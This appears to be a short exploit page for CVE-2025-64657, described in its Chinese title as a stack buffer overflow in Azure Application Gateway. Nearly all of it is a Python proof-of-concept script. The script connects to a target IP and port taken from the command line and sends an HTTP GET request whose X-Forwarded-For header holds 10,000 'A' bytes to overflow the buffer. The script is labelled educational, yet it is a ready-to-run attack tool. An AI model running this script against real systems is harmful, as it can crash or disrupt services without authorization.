CVE-2025-64657 Azure Application Gateway栈缓冲区溢出漏洞

# CVE-2025-64657 PoC - Azure Application Gateway Buffer Overflow # This is a proof-of-concept for educational purposes only import socket import sys def send_exploit(target_ip, target_port): """Send exploit payload to trigger buffer overflow""" # Construct malicious HTTP request with oversized payload # The payload is designed to overflow stack buffer buffer_size = 10000 # Oversized buffer overflow_pattern = b'A' * buffer_size # Pattern to trigger overflow # HTTP request with malicious payload in header field request = f"GET / HTTP/1.1\r\n" request += f"Host: {target_ip}:{target_port}\r\n" request += f"X-Forwarded-For: {overflow_pattern.decode('latin-1')}\r\n" request += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(request.encode('latin-1')) response = sock.recv(4096) sock.close() return response except Exception as e: print(f"Exploit sent. Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python poc.py <target_ip> <port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) print(f"[*] Sending exploit to {target}:{port}") send_exploit(target, port) print("[*] Exploit payload sent")